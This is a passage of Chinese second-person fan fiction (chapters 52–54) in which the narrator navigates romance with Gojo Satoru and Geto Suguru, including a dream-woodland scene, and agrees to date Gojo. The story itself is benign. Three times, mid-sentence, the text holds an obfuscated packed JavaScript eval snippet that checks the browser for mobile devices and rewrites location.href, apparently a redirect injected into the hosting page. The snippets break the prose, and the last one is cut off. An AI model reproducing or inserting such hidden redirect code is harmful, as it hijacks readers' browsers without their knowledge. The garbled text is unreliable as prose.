“但就像书本质量参差高低,人也良莠不齐。翻开一本书,发现它内容和前面看过的大同小异,又或者只有封面能看……抱歉,扯远了,我没说你们不值得一看。但,但确实不能否认会有这样的情况,期待满满的小说烂尾了,看了三章的新书发现只会堆砌辞藻其实一窍不通……” “总之。”夏油杰的脸色在变差,你承认你在后面有一点点故意想看他变脸,不过你恰当地停止了,现在是莫名其妙的总结环节。 大家都知道,文章内容再潦倒不堪,总结写得好,照样能拉回来不少。你说:“我已经在看你们了,我觉得……你们的追求,苦痛,成果,还有中途间或闪烁的人格和其他的什么品质,我从来没有刻意忽视。” 只是,见过更多了,没必要大惊小怪。 “……”夏油杰被你老道的话语和剖析惊得说不出话。 温暖的阳光也照在你的头顶,在热乎乎的大路上,你对他微笑:“不过,如果这是你的请求,夏油前辈,我会再多看你一些的。” 他的回应是捂着脸发出哀愁的声音,认输一样小声抱怨:“别这样和我说话啊,星夏。我会……” 这下夏油不说什么“我没在说我自己”之类的鬼话了,可能是放下顾虑并忘了维持人设。 你的微笑加深,他道行太浅,还远远比不上你。 所以……其实五条也是和他一样的想法吗? 是就是吧,你在下一秒重新回到自己这里,五条悟长了嘴巴,也有脑袋,他可以说自己想做什么,而不用你猜。 52.第 52 章 五条悟愿意和你说话的时候已经到了月底,距离黄金周过了二十天。 你都忘了他上次问你“今天想吃什么”是什么时候了。 不过你处于各种原因还是先思考他的问题。 就在这间隙,他冷笑:“你就真的考虑起来了?!” 不然呢,你暂时先不说那几个字--想吃之前路过但一直没去吃的杂食,配旁边便利店的冰激凌和冷饮。 你还有心思再修正一下,其实是二十几个字。 你就不回答了:“……” “够了,我已经二十几天没和你说话了,你就没有一点反应吗?”他的语气变成了不可置信和无可奈何。 “有,我也没和你说话。” “你很骄傲呐。” “没有。” 他盯着你有一会,身体挺直如高而长的树的枝干,他弯下腰,树就被折断了:“我真讨厌你这样,星夏。” 你听出了其中的妥协意味,按道理说你应当更高兴的。实际还有一丝愧悔萦绕在你心上。 你定了定神,语调柔情:“我其实挺喜欢你这样的,前辈。” “……” 他带你去吃了杂食,在又一次征询你的意见之后。你请他吃了两根冰棍,你也吃了两根。 在今天夕阳余晖的最后,你的嘴巴里有果汁气泡水的香气,而他在便利店门口接了个电话,又有了任务加钟。 “非得在校生去吗?”你递给他蜜瓜味的,在挂断后问他。 “一级以上我们最近。坐会吧,过会辅助监督来接我们。”他领你再走进便利店,在玻璃窗边挨着你打发时间。 你们的话题就成了今年不小的咒灵压力。 五条悟不经意间和你提起:“有些传说是说当下咒灵的泛滥是因为我。” “好大一口锅,怎么说?”突然就成了每年几万起失踪的责任者,你觉得这个论断在异想天开的同时很有创造力。 “咒灵和咒术师……有说两边的整体实力总是相对均衡,我出生以后咒灵那边也变强了。” “有一种【谁知道她的钱哪来的】无力感。”活得好好的突然被造了个大的,你笑:“我以为大家都知道咒灵诞生自负面情绪呢。咒术师和它的关系就像赤道和冰川。” 五条悟没接你的话,继续阐述他那边听来的版本:“多年没被打破的世界纪录在第一次超越后就会旋转陀螺一样继续,花滑选手跳跃的圈数在突破后也一圈圈上升,去年我学会了反转术式,听起来好像挺有道理的?” 是的,恐龙灭绝不是由于天外陨石,而是为了给人类腾位置。 歪理,你指出:“自然选择、人口爆炸、居民学会了上网,请选择你的观点。” 五条悟因为你百无聊赖的说明笑了出声:“你现在也不喜欢加班加点,倒不觉得这是我的原因?” “可能和我的脑子有关吧,你知道的,我有的时候会用它。” 他告诉你:“你骂了好多人。” 那咒术界确实是有些洗脑包,你头一次听说,不过看样子他听了有一阵子了。 你认为,出于礼节,这时候也许能安慰他一下:“我有的时候会在网上骂人,匿名论坛。” “哈?” “有些人其实并不算……较真,不会因为纷争的具体事项而在意,他们只是压力很大,想找个地方发泄一下。上网挺好的,我只是用我的方法传递了一个观点:想把火发在我身上会是得不偿失的决定。” 五条悟知道你想说什么了,他有点兴趣:“然后呢然后呢?” 你回答:“渐渐地,我有了很多被封锁和禁言的账号。不过我也知道,人是能够从暴力中食髓知味的,言语的暴力也一样。我们所有人都是。” 最后你说:“大概因为责备和辱骂也是一种权力的象征,我们都爱权力。” “喂,你真的是想安慰我吗?” 当然是了,你告诉他:“你不需要从中获得快乐,但有些人需要,山珍海味吃不上就偏睐臭鱼烂虾。人总要吃饭哪。” “星夏。” “嗯?” “你是不是把自己也骂进去了?” “嘘,我也有不良嗜好。” “……我想象不出来你骂人,但是你说话确实很脏。” 你对这个说法不置可否。今年是忙碌的一年,大家都不喜欢这样。 你们回到高专的时候已经是前半夜的末点。你和辅助监督告别,然后跟在几步外的前方等你的前辈身后时,才恍然意识到一件事情,你已经有一阵子没见到过,甚至是听说过岩守的消息了。 以前明明没多久就会轮到一次她。 她在躲着你吗?也好。 “想什么呢,路上小石头都没看见。”五条悟扶起你的手臂,突然就到了你身旁。 先不说你确实是在分神这件事情,你纠正他:“这个能见度,不是认真看路就能客服的。” “啧,”他发出了不耐烦的声音:“你用咒力--算了,我送你回去,你搀着我的手。” 好好好,你听见了算盘声。 “谢谢五条前辈扶我回宿舍。” “你说的好像我在扶老奶奶过马路。” “嗯,怎么不算呢。”你的语气平淡,他以为你困了,就没再多说。 只在你的房间门口,他问起你今年交流会的事情,你对认识其他学校的人没兴趣,随口就推了:“不想受伤,申请和硝子前辈一起观战。” “那我们今年就只有三个人。我,七海和灰原。” “你这样叫七海,他不会生气吗?”你对五条悟的奇怪口癖感到好奇。 “七海会学会克服的。” “你刚说的这件事他知道吗?” “要尊重前辈啊,星夏。”五条拍在你脑袋上的手震得你脖子都发麻。 你撂开他的手:“晚安。” “咦,弄疼你了吗?我下次轻点。” 你才不跟他下次,在进房后就关了门。五条在外面抱怨你脾气真大,怪不得和七海是同期。 今年的交流会也在东京这边毋庸置疑的胜利中落下帷幕,不管是团体战还是个人战……歌姬老师的脸色很不好看。 硝子坐在她旁边,你在硝子和夏油杰中间。 主要在昏昏欲睡。 “这么没朝气吗?这几天在干嘛?” 你挽住硝子的手:“困。” 旁边的夏油杰帮你解围:“这几天二年级的任务也不算少,星夏和他们都承担了许多。” “夏油,以你的脸色恐怕不适合说这些。好歹星夏一点没有黑眼圈。”而夏油杰,在总见不到影子之余,他的容颜愈发倦怠,脸色一次比一次淡白。 “天生的。”你说,听硝子的话后你有了点精神,转脸看了看被医生说状态欠佳的夏油杰。 诚如她所言,夏油的声音更柔和,体型更细瘦,脸上伤疤一样的双眼下有一团静脉淤血的青黑。血液在他的眼睑处停止了流淌,看起来他的灵魂也一样。 今天他很憔悴。 无论二年级的任务是什么,他作为前辈和特级,做的只会更多。而且他没有反转术式。 你真诚向倦容的主人建议:“不然你也睡一会吧,灰原会理解你的。” 然后硝子推了推你的脑袋,意思是叫你别教唆人干坏事。 那边原本沉浸在比赛中的歌姬也伸长脖子看过来:“确实,仔细一看夏油你确实很疲乏,要好好休息。” 他看过来,看向和狐獴一样挨个探出头的你们三个,如此滑稽的排序令他笑出了声:“没关系的,夏天过去就会好很多。” 礼数周全,但从他缥缈的语气中你能听到,他自己也在质疑。 真的会变好吗?万一它不会变好呢? 你认为他在想这个。事情聚集在一起,他的怀疑也被紧紧粘合,现在成了无法消化的困惑。 都会有这么个阶段的,你打了个哈欠,遂他的意将这件事情一口带过,粉饰太平:“多睡觉,一切都会好起来的。” 夏油杰也有嘴巴和脑子,如果他想说什么,他会说的。 今晚你难得请客,请胜者小队三人和观战前辈三人吃了两站路加走路百来米的平价素面。 “也是落魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13864600|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”灰原头一个鼓起嘴巴:“我还高兴你要请我吃饭呢。” “吃点柚子醋和萝卜泥除晦。”你端起桌子上不要钱的小菜往灰原面前送。 “……” “行了行了,回去之前再请你吃便利店的关东煮,只请你吃。因为钱有限。”今年以来,你都非常遵纪守法。难以置信,这件事情已经持续了整整五个半月。 灰原开心了。 全场对钱最敏感的七海开口:“你现在比以前节约。” 你就说:“因为你们人太多了……你我同为二级,金钱状况都是公开的。” 一共七个人。都吃面条也能吃掉不少钱。 这个时候七海就提出了他也可以aa,不过你笑着拒绝了他。 “不用啦,难得一个学生们都空闲的晚上。这样的时间从冬天结束就没有了。” 说是这么说,日子过紧了,也变忙了,但这都不是你选择这里的主要理由。金钱的匮乏总归是能通过开动脑筋解决的,你对素食兴趣不大,过来大部分理由是想请夏油杰吃他偏好的。 就在清汤寡水的酱汁中,你看见了一种可能性。 难道是吞噬咒灵令夏油觉得晦气,所以才吃这种有点除晦意味的食物吗?荞麦面什么的。 毕竟仅从口味说来,清淡的美食有许多。 那这样的话,工作对他本身就是一种工伤,岂不是他的压力又要再上一层? 你应邀多看了夏油杰,现在你看见了他的痛苦。 你在回去的路上还是拮据地请所有人吃了冷饮,五条悟选了最贵的,表情高傲,他应该是发现了你的意图,正在不动声色地和你发脾气。你既不意外也不惊慌,在人群的最后悄悄牵住了他没有往前伸的手,他没甩开。 夏油杰回头的时候撞见了你们交缠的手指。他往上看,对上你朝他微笑的脸,一点没有被撞破的局促。 他回过了头。 等灰原也因为前辈的行为而往后看的时候,你已经松开了手,认真整理之前装过很多东西而现空空如也的塑料袋。 灰原摸不找头脑地继续走向公交站台。 你与夏油杰的下一次任务中,他问了你关于五条悟的事情。 “你和悟,你们,在一起了?” 得到的答案即便是否定也不在他认为中听的范围内:“没有。” “……” 你不由好奇:“你想听到什么,肯定吗?” “那天我看见了,你们牵着手。” “我也可以和你牵手,这不代表什么,夏油前辈。”你尝试伸出手去搭住他的手,被他手腕挥开,轨迹交错,没有触碰。 “我没有这个意思。”他把手直接探到了身体另一边,这幅防御姿态也是紧张极了:“我是说,悟喜欢你。” 这巧了,你也挺喜欢他的。 你说:“真是稀奇,他也说过类似的话。” “嗯?” 你不是喜欢藏着掖着的人,下一句话就揭晓了答案。 “说你喜欢我。”你对上夏油杰氤氲水汽的眼睛,他因为你突然说出口的话而目光凌厉。不过你适应良好:“告诉你一件更稀奇的事,我从没听你们本人说起这个。都是彼此的传闻。” 他一时语塞,然后用一种颤颤巍巍抑制语调上扬的声音,强作冷静跟你说教:“既然你都知道,那你……” “我不知道。”此为你的回答,与进一步说法:“猜别人的心思和投骰子无异,命中概率就摆在那里。人的想法多变,谁又知道几天以后曾被坚定维护的信念是哪番光景。退一步说,如果连开口都做不到,就更不必谈维护了。所以……我还是不知道比较好。” 明明大家都默契的什么也不说,怎么偏偏都觉得是你缺乏回应? 你没有什么要回应的东西,原因如上:无人开口。 夏油杰不再和你谈感情问题。 虽然,他似乎意识到了,你与他,或者五条悟之间,只有等待轰然倒塌的一面墙,它不比平安夜你洞穿的那扇门更坚实,甚至更浅薄,纸窗一样出手即破。 但夏油杰没开口,没有一个动作。 53.第 53 章 你能瞧出来夏油杰不是在故作姿态,可能是单纯的时机不对,他没想恋爱。 这都不是重点,你想向他求证一件事情。 于是在他收伏今日的一级,并且把形貌难以见人的丑东西浓缩成一个黑色的小球后,你在他旁边旁观问他:“说到咒灵,我们知道它并不好吃。” 夏油杰舒展开眉头,停止手中动作:“确实,我不喜欢这个味道。星夏,你还想知道什么?” “我想知道……”你伸手捏起方才硕大无朋,而现在只有核桃大小的咒灵,墨汁一样的形神在束缚中飘逸,时不时还在撞击透明但坚固的边缘。你将它对准波光粼粼的河流,视线的一半成了黑色混沌:“吸收咒灵这件事情,是否让你觉得诅咒如影随形,挥之不去呢?” 即使在天元结界中号称最为安全的咒术高专,在他夜深人静的宿舍里,独处的时候,透过晚风的花香和被褥太阳的气息,他是否也会闻到呕吐物和臭抹布的味道? 夏油杰的表情因你的话有一瞬间松懈,这下你知道,他有。 不过最终他决定说出来的话语是:“还好,只是苦夏而已。” 然后他就着你举起的手,口衔过那颗蕴含着人类诅咒和怨恨的黑珍珠。也正是因此,他眉宇间的隐隐作痛和仿佛不堪一击的脆弱就未加掩饰展露你面前。 赤杯的力量在你胸腔中泛起波澜。 夏油杰有些嘴硬,但他也不是完全希望遮掩。 你在回程的路上想起一段时间的经历,然后你想到,嗯,他希望被你看见。 他不是无病呻吟的浮夸人物,你希望他少受折磨。 当晚,你在漫宿无光的林地中静想。 最近对咒术师们来说并不轻松,对你来说也一直如此。你要阅读很多新的文献,有关铸炉,有关火焰,还有一些以前没接触过的新语言。 还不仅如此,因为你失去了大部分搜刮有用书籍的途径,现在你要在漫宿中找……找还在涌入的研习者,找初探门扉的年轻人。 面孔上,你要找的人大部分来自欧洲,并且要是对漫宿略有了解的,你要求他们看完的二手书,换取你的并不值钱的知识。 为什么不用好本地原住民和长生者资源? 一个安静了几十年的低调长生者,你,在某日大张旗鼓的要去搜罗另一司辰的往事和历史……显然这种用公司电脑搜下家信息的行为太过愚蠢。 你才不会这样笨。 不过你倒是旁敲侧击又学了些其他的东西,你还要再接再厉。 颜色只存在于有光的地方,而林地的树木阴翳,对抗天空高悬的钴蓝色光芒,黑暗中只有蛾类拍翅声和枝叶颤抖的声音,大部分情况它们都是同一种声音。 你在纷乱小径中漫行。 周身昆虫振翅飘荡,钻进更深的树林。 你本来不打算再进一步的,你在林地里迷路的概率不高,但不是0.可你听见了更深出传来的那一声呻吟。像是有人被树枝和落叶绊倒跌落泥土的痛呼,是个新人。 而且,声音很熟悉。 你只身走进更深的阴影。 如果这是一款rpg游戏,此刻该有系统提示【恭喜你获得:伙伴:夏油杰。】这不是头一次你在漫宿中遇见醒时认识的人。 漫宿是一座居屋,是永生者和部分亡灵欢乐的殿堂,但对不属于这的其他人……他们在一生中都至少要造访两次这个地方。 此消息真假难辨,但是灯之秘传里是这么提及的,让它的可信度直线上升。你倾向于相信。 “嗨,好久不见,需要帮助吗?”你往前迈一步,听声音他大概双手撑在地面,因你自信的步履往后挪移。你们今天下午才一起出过任务。 一段时间的安静后,你听见地上落叶被他的手抚弄得莎啦啦,随后是他不确定的疑问:“……星夏?” “答对了,但没有奖励。”你打了一声响指,蹲下循声拉住他的臂膀:“不过这可不是叙旧的好时机,我带你出去。走吧。” 你帮他重新站起来,替他廓清黑暗中初入者容易被划伤腿脚的道路。他在你身后亦步亦趋,像人偶,也像模仿人类的无意识亡灵。 你理解,不是谁在梦里都会带脑子,夏油杰可能仅仅是短暂丧失了思考的能力。 在七拐八拐中你不得不承认小概率事件发生了,你可能也短暂地换上了失路症。 “我这是……我在,做梦?” 夏油杰的手腕在你的掌心,他往回拉扯,伴随他的不确定口吻,你知道他醒了过来。至少部分他现在转醒。“挺厉害的,才过去没多久。你记得什么?” 他说:“我记得蓝色的月亮,银白的山路,山岭上的树林。一条蛇引我来此,这里有虫鸣,和黑色。” 他向你呢喃不知哪里听来的话:“我们彻夜飞旋,” 你接上,喉咙中与他发出相同的字眼:“直至没入火焰。” 对,他最近精神压力比较大。这件事情你一直知道。 你语调轻松,在漫宿里的你比外头更自在:“好消息,你要疯了。坏消息,你要疯了。” “……” “这里是哪里?你是不是想问这个。答案是,一片林地。”你掉头面向他,拂去他脸上飞蛾堆砌的毛绒绒翅膀。欺软怕硬的家伙们,它们以前也对你这样,现在不敢了。 黑暗让人迷失时间概念,说不清多久,或许是良久,夏油杰发出一声叹息:“我怎么会梦见你。” 你就做出一副谅解者的姿态:“啊对对对,其实你也不是故意的。” “呼哈,”他发出一声清浅的喘息:“如果是星夏的话,确实会这么说吧。” 这时你又获得一条信息,在梦里,你们都更加诚实,更加……能被知悉。 你知道他多半会忘了,他以为自己在自己的单机梦里。 “好了,现在你想去哪里呢?我对这片地带相当熟悉。”你可以做一日导游。 “胡说,你迷路了。” “……”死小子牙尖嘴利,你也嘴硬:“你在梦里还是有几分胡搅蛮缠的。” 雾气在你们呼气时从嘴边腾起。 “随便你,星夏。你愿意带我去哪里,我们就去那里。”他反过来牵住你的手,指尖探索着,最终你们十指交握,扣得和锁一样紧。 他说:“我不会松开你的。” 哦,你感觉到了。 “坦诚的有点过了,和你醒的时候判若两人。” “可你和梦外一样。” “不觉得我在外面更不自由吗?干活的时候像皮球一样被踢来踢去。” 他低下头,伏在你的肩上,鼻息依稀可闻:“你从来没被困住,你也不是……安全型。” 你听见了新的词汇,新奇字眼:“这是什么意思,安全型。” 他不肯回答你,小动物一样蹭蹭你的肩膀。 “我和悟,你是不是更喜欢他?” “哇,好有五条悟风格的问题。”你从没想到夏油杰会对你说出这种话。他更加,隐忍,深沉,最后展现出的只有温柔的容光。 “很难理解吗?我毕竟也……” 你懂了:“怎么说你也是个男人啊!” “……这副抢答的姿态和雀跃的语气是?” “总觉得说出这句话就会变得臭臭的,想阻止你来的。不过如果是夏油你,应该也还好。”凭你的好恶来判断,男子气概恐怕不是什么好词。 “什么嘛,不想回答吗?即使这是我一个人的--”他的最后一个发音应当是梦,不过你打断了他。 “对。因为他说他从没亲过别的人,只有我。听起来很有吸引力,不是吗?”这问题一点不难回答,你用行动告诉他。 即使在醒时世界,如果他们问你,你都会回答的。你的秘密只和无形之术有关,其他的你都能坦然。 不过无论是谁都好像惧怕你的答案。 只有硝子会问,不过她也不多虑,只是闲聊。 你们陷入了确切的、时间很长的沉默,只有你们手心的温度是真实无疑的。 你们哪也没去。 只在他的漫宿之行最后,在他灵躯行将回到身体时,他在慢慢消散,存在愈发稀薄的时候,他才不情愿地吐露:“可是,我也是啊。” 你都没来得及反驳他,你的话只萦绕在枯枝败叶上:“不要再做梦啦,你什么时候主动过?” 夏油杰糊涂了。 --- 夏油杰可能算是半个有点受到感召的凡人。不过他出生在亚洲,天生短缺了许多东西。无所谓,他看起来不像是追求永生和无上权力之类的慕名者。 做特级咒术师挺好的。 也是一种顶点。 你在醒时加了一个限定项,等把上头总监部的人熬死一批。 身在樊笼里,顶点也只是天花板。 接下来的时间里,伴随逐渐抵达的酷暑,你逐渐又不得不再困再累,即便晚上才回高专,也要挎着篮子去体育馆旁边冲凉洗澡。 你剪短了头发。 在夏天,它是无用之物。 现在你的中发刚过肩,能顺畅地被一把抓起扎个马尾。 硝子是这么说你的:“不算上表情,你有学妹的样子了。” 你问:“算上表情呢?” “你比我大50.” “哈哈哈哈啊哈哈。”然后你们就一起笑。虽然,岂止50. 夏油杰依旧保留了他的刘海。 “那你每天都会洗头吗?”熟悉刘海的人都知道,第二天就会起油。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13878780|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他回答你:“洗澡的时候顺便就洗一下……你们不是吗?” 现在,他的头发长度超过你和硝子。 你们都迟疑了…… 硝子:“也用不着每天都--” 你接着坦白:“一般隔天洗一次头吧,有点难吹。” 虽然,他头发最长。使用吹风机的难度来讲,你们越不过他。 “呃,好吧。”看起来夏油杰很想问你们有什么难的。 问就是难,建议他不要问了。 这个话题到五条悟来的时候又提起了一次。 “杰,你怎么又来医务室了。” “路过,然后……” 硝子就问明明也没医疗问题,但双手插兜走进来的同期:“五条,你多久洗一次头?” “和洗澡的时候一起,怎么了?” 你在椅子上转笔,听到答案就吃吃的笑。五条悟是在问你。 “男孩的答案都大差不差。”硝子说出了之前你们在讨论的话题。 五条悟自曝了一个情报:“谁说要每天都洗澡了?” 看来无下限术式的好处又多了一条,因为不会弄脏自己,所以也不用洗澡。 “猫一样。”你说,猫也不用总是洗澡,它们也很干净。 五条悟扯下墨镜,左手放在脸前充当爪子,对你“喵”了一声。 你没回应他,人听不懂猫讲话。 小暑一过,短袖满大街可见。高温的炉火灼不伤你,但热空气行。你每天必买两根冰棍,上午一根,下午一根。 “你去年没这么怕热吧?” “日子好起来,人也娇气。”你随口告诉五条悟,然后找透明玻璃下面没吃过的口味。 你最后挑中了可尔必思味的,五条悟一把拿过去,然后随便从冰柜里拿了一袋,跟你说:“我也想吃,正好,我请你。” 谢谢他愿意想吃。 结完账后,他还帮你接过不要的塑料垃圾,抓在手里。和你说话。 “那个,去年……” “怎么了?”你问他。 你走在前面没刻意等他,他几步就跟了上来:“不等等我吗,真叫人伤心。”语调高扬,但是声音很小,像小孩子撒娇。 “我记得你步子很大,还说我走路很慢。”你说的是他请你吃寿司那次,他还说你矮,身高缺陷。 “多久前的事情你还记得,那天我还请你吃饭呢!” “所以?” “所以你记性很好。”五条悟又扭捏起来,在组织语言。他和你打商量:“你能不能忘了,那个……” “?”他想说什么呢? 趁你疑惑的时候,他捉住你的手,温热的手掌包裹你的,然后跟你说:“交往,你想和我交往吗?做我的女朋友。” 原来他说的忘掉是那个意思,你偏不听。 提起往事:“可你不是说,今年温泉的时候--” “忘掉,忘掉!而且春天才是一年四季的起始,所以那是去年!”现在他挥舞双臂的样子有点着急,语速急促,出口焦急。 日本的历法确凿无疑是阳历。 你斜眼看他,摆明了不乐意。 不是什么事情都是五条悟说了就算的。 “……好我承认当时是我太冲动了。”他这些音节紧凑没有隔断,像是小孩子赌气时候被迫承认,但棒读写好的小纸条的口吻。 有些事情必须要指出来,虽然像是令人丧气的话:“没事,你现在也很冲动。” “我想听的才不是这个!”他走到你面前拦住你,不让你再进一步,然后认真地看你的脸:“你回答我。” 在你开口之前,他还紧凑地见缝插针补充:“我不是冲动,我深思熟虑了。” 紧接着就是你的大实话:“没有很想,我是说交往。” 空气都停止了流动,他的愣怔持续了有一会,而后是加倍的情绪狂潮。 “什么嘛,你明明应该很喜欢我才对!” “没有【很】。”还远没到那种程度呢。 “所以你承认你是在玩弄我的感情咯!”他的眼睛睁得大大的,等待一个你的回答。 “真是不讲道理,只在一百多天前你逼着我说【不会恋爱】那种和你毫无关系的承诺,现在就想我立刻改口做你女友。然后我就成玩弄你感情的人了。”这是否有些词不达意。 你歪着头目光不躲闪看他:“所以你的意思是这个么,五条前辈。” “……” “还有什么事情吗?” “要怎么样你才能答应我啊!” 你对他这种迈出一小步就指望对方走十步的阔老爷姿态很难评。只是淡淡地告诉他:“连这个都要别人帮你想的话,怕是也谈不了几天恋爱。” 54.第 54 章 五条悟最近很困扰,在你拒绝他以后都是的。 有关“要怎么样才能让星夏同意交往”的课题,他把大部分精力用在了白费功夫上。有些女人可能会欣赏追求者笨拙的一次又一次朝她靠近。 而你……你也不讨厌,更多的是不讨厌五条悟这个人。但话又说回来最近有些忙,所以……他成了天平两端比较轻的一方。 位列你的旧主【圣杯女士】和新王【铸炉女士】之后。 不过在那之后比较令你好奇的是,他这么忙,怎么还有空考虑到你的?你和夏油杰出去的时候,他用了一些时间在路上休憩,偶尔还需要你推醒他,告诉他下车的站点到了。 终于,在某一天和七海与灰原的任务之后,五条悟出现在你们途径的便利店门口。那个时候是下午,接近傍晚,天空是绯红色。 大片烫红的云燃烧太阳。 “哟,我要借你们的同伴有点事情。”他对你的两名同期讲明了来意,但好像说了又好像没说。 “……”下一刻,他单手插着裤兜,另一手用咒术吸附你的后背衣领。 熟悉的感觉。 但是不熟悉的景色。你在天上往下看。 “你有什么想解释的吗?比如为什么我被你送到了天上。”你从没见过这样视角的城镇。 呼呼的风声在你耳边,可它们吹拂不到你。 五条悟的声音清晰而靠近:“我知道你今天接下来没事情,我们去长野。” “……” “竟然不问我要带你去做什么吗?你就不怕我把你卖了。” “我一开始不就问了?” 现在,身下过快的景色让你头晕目眩,你稍微抬高了视角,只看云和天。 五条悟的语气轻松而愉快,也许还带着点骄矜得意:“说到夏天,不就是花火大会嘛。你看过吗?” 你回答:“没有。” “好巧,我也没有。”他告诉你:“看来今晚八点会很顺利。” “有点自说自话了哦。”你评价他的举动。从开始见面到现在。 “那你想去吗?” “也不能说不想。” “啧,真是别扭,那不就是很想去看。” “也没有【很】。” “这个事情我可是想了两天,你别太得意,星夏。”他的声音变得沉静,认真而庄严:“我从来没对你敷衍。” “哦。” “这是什么烂回答!给我重新措辞,我不准你只说一个单音节词!”他急了。 现在五条悟对你的单薄回应愤懑不满。 不过人在想事情的时候语言上难免疏漏,不是说什么得意而忘言么。你觉得五条悟,挺有趣的。 “那,”你说,想到这次还没开始的奇怪约会,你声音里带笑意,询问他:“我只在别人的录屏里看过烟花,今年夏天又很忙。我们要不要交往?” 偶尔,也会有这样非理性的时间。 思维还没出发,意识已经抵达终点。 然后,然后,你就说出了这样的话。 “可是,”五条悟的嘴巴里说出了愚蠢的话,“我们还没去看,你还没见到河面上倒影的光彩。” “你说得对。可我挺喜欢你的。” “哦,哦。”他发出了两次局促的呼声,你们在金红的空中静止了。你们在无所依凭的空气中,迫近的月牙也是金红色,它更高悬在你们之上。 五条悟单手揽着你的腰,支撑住你这身仍然受重力影响的凡胎。也许还有风声,但是你们都听不见了,你被他的术式冰冻在了与世隔绝之中。 “那杰呢?” “也喜欢。” 如果说他问出了不合时宜的问题本就不妥,你就在这条错误的道路上更行进了一步,现在,你与五条悟进入了一扇错误的门,门里是荒唐。 天空很大,包容的下一个国度与数不清的人,也很小,现在只有你们两个。大部分原因是人类总归是居住在地面上的,你们不在地面上,小部分原因是你和五条悟正在彼此的眼中凝视自己。 “……但你,你说了想和我交往的话了,我没听错是吧?”他蓝色的眼睛看你,耐心向你征询。 “虽然你总是微妙的曲解,不过这也是句实话。我说的是【我们要不要交往#问号】,”你向他展示了其中细微的不同,但也肯定了他的话。“我确实想和你交往。” 这下重点就从尚不在场的夏油杰身上转移回他自己了。 五条悟不满:“这是什么意思,你一开始都不打算对我坦白心意吗?就想用那种似是而非的话就哄骗我!” 他说的如此理直气壮,如此……胡搅蛮缠又讨厌。 你低下头,鼻腔出气,回抱他纤瘦的腰身,额头正好抵在他的胸膛上。慢悠悠对他说,确保声音能传到他耳朵里:“前段时间,我忘记是谁了。” “似乎有个人对我说过诸如此类的话。” “【交往,想不想和我交往,做我的女朋友】” “【你明明应该很喜欢我才对】” “【到底要怎么样你才能同意啊】” 你的模仿只是旁白,和惟妙惟肖半点关系也无,不过仅内容就够让五条悟难受了。 “看起来你应该挺能理解这些语义里的些微不同的,不是吗?你也觉得那个人有点差劲吧,是不是,五条前辈?怎么会有人这么高高在上的赏赐恋爱机会啊。” 你的前辈就充满孩子气地向未来出发,声音清爽:“我们就不要再计较过去的事情了!现在我们在交往,你是我的女朋友,星夏。” 这幅样子就是在宣称之前的事情一笔勾销。 你也不是一定要和他计较。 只是说起到他的一个前辈:“说来有趣,想到了歌姬老师对你的中性评价:个人主义阻碍人际交往。” “你有什么头绪吗,男朋友?” “我还是很关心你的,星夏。” 确实,这话不假,不过你想多逗弄他一下,你就又抬起脑袋,蹭蹭他的脸颊,感受温度:“比如?” 五条悟被你难得的亲密举动完全弄得手忙脚乱了:“我……” 你揶揄:“是请我吃了很多饭?” “是,我请你吃了--你干嘛又说去年的事情啊!”他的手轻轻地拽了一下你的头发,并不疼,只有轻微的拉扯感。像猫咪并不用力的轻咬。 “那我不说了。” 你们中间迎来了一波静谧。 还是他,忍不住先开口:“我们在交往,也就是我,也就是说,我是你的男朋友,你是我的女朋友。我们在交往。” 你耗费十几秒的时间就听他说这些,为了报复他对你时间的浪费,你告诉他:“是的,爸爸的爸爸叫爷爷。” “……”五条悟年轻的身体很有力量,紧紧抱着你:“这很重要,比如说,你是我的女朋友,你就不可以再让杰做你的男朋友了。” “诶,不可以吗?” 他拔高音量:“当然不可以!你在想什么呢铃木星夏!你只能和一个人交往,就算杰是我最好的朋友也不行!” “哦--”你拖长尾音,受教了。 “……你前男友难不成同时有两个?”你的淡然令他狐疑,怀疑自身,怀疑你的经历,就是没怀疑你在没活硬整。 “就一个。” “那你还对我这样!”他现在不乱和你【男人怎样】【男人怎样】了,但现在他确实情绪更激动。 “他……”提起亡故的人不让你觉得晦气,你将已经概念化的过往整合,重新回忆上段恋情。“一开始,事情都很愉快,后来我发现他很坏。我们吵了一架,就结束了。” “你不要想起他!” 这也不是他能说了算的,你想到,最后的最后,一切都在火中结束。 对于一个死于你手的人,又过了这么多年,你很难再说出【我原谅不了他】这样的话。你是一个不喜欢将恩怨拉长的人,东方俗语这么说:事情赶在前头做,可能就是你这样吧。 喔,你后知后觉,那也是一场大火。 你和铸炉有缘。 五条悟现在抱着你絮絮叨叨,你整个人已经陷在他的怀里,你们在这个地方逗留地太久了,云也飘走了。 他然后问你:“那我们还去看花火吗?” 好会说话的小嘴,刚确定关系就取消约会。 不过你对烟花没太多期待:“吃饭去吧,给你的战绩再加一餐。” “呃,那还是去看花火--” “你应该还没完全掌握远距离移动,从东京到长野会很吃力的。”你的右手绕过他后颈,每一句吐息都能抵达他的唇瓣:“你想吃什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 